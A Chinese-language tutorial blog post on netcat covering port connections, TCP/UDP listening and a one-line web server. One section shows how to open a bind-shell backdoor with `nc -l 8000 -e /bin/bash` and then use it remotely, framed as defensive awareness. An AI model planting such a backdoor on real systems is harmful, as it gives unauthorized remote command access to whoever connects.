前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >NetCat(NC)原理和使用

NetCat(NC)原理和使用

作者头像
十毛
发布2019-03-27 14:39:04
2.8K0
发布2019-03-27 14:39:04
举报
文章被收录于专栏:用户1337634的专栏

最近解决问题的时候,都用到了nc,但是之前对这个被称为“瑞士军刀”工具了解不多。这次趁机梳理一下

之前在SSH穿越代理时就用到了nc (ssh&git如何穿越代理)

介绍

shell脚本中经常使用管道来把多个命令串联起来,比如下面:

代码语言:javascript
复制
$ cat /var/log/messages | sort | uniq | less

上面命令显示了过滤、排序、去重后的系统日志信息。不过上面的命令只能在一台机器上运行,但是如果

代码语言:javascript
复制
$ cat /var/log/messages | sort | uniq | laptop

上面的命令并不会执行,因为laptop并不是一个有效的命令。不过在很多场合,我们确实需要执行跨机命令,通过网络通道,确实还是有办法实现的。 实现思路如下:

代码语言:javascript
复制
        Web Server
         ^   |
         |   v
         ^   |
         |   v
echo --> netcat --> less

netcat接收本地标准输入,发给Web Server,并把获取到的回复输出到标准输出

基本命令

代码语言:javascript
复制
nc options host-IP-address port

常用场景

连接到远程服务器端口

使用命令nc 192.168.1.101 80,获取服务器信息,也可以使用GET获取整个页面内容

代码语言:javascript
复制
$ nc 192.168.58.101 80
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request
Server: nginx/1.14.0
Date: Sat, 29 Dec 2018 13:44:49 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

监听端口

执行命令nc -l 8000,服务器会开始在8000端口监听入站连接。

使用netstat查看网络连接,可以看到8000端口已经被监听。

代码语言:javascript
复制
$ netstat -anp | grep 8000
 tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      40327/nc
tcp6       0      0 :::8000                 :::*                    LISTEN      40327/nc

上面是监听tcp端口,也可以监听udp端口

nc -l -u 8000

代码语言:javascript
复制
$ netstat -anp | grep 8001
udp        0      0 0.0.0.0:8001            0.0.0.0:*                           40585/nc            
udp6       0      0 :::8001                 :::*                                40585/nc

开启后门

nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:

代码语言:javascript
复制
$ nc -l 8000 -e /bin/bash

开启之后,其他机器可以连接到端口8000上并执行命令,获取服务器信息

代码语言:javascript
复制
$ nc 192.168.58.101 8000
pwd
/home/tenmao
cd ..
pwd
/home

简易WEB服务器

不借助tomcat/nginx/httpd等WEB容器,仅用nc就可以用快速搭建一个单页面的WEB服务器。

首先建立一个index.html文件:

代码语言:javascript
复制
<!doctype html>
<html>
    <head>
      <meta charset="utf-8">
      <title>Greeting Page</title>
    </head>
    <body>
      <h1>Hello World!</h1>
    </body>
</html>

执行脚本命令:

代码语言:javascript
复制
while true;do { printf '%b\r\n' 'HTTP/1.1 200 OK' '\r\n';cat index.html; }|nc -l 8000;done

用浏览器可以打开连接: http://192.168.58.101:8000或者使用curl命令

代码语言:javascript
复制
$ curl -i http://192.168.58.101:8000
HTTP/1.1 200 OK


<!doctype html>
<html>
    <head>
      <meta charset="utf-8">
      <title>Hello Page</title>
    </head>
    <body>
      <h1>Hello World!</h1>
    </body>
</html>

参考

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018.12.29 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 介绍
  • 基本命令
  • 常用场景
    • 连接到远程服务器端口
      • 监听端口
        • 开启后门
          • 简易WEB服务器
          • 参考
          相关产品与服务
          容器服务
          腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档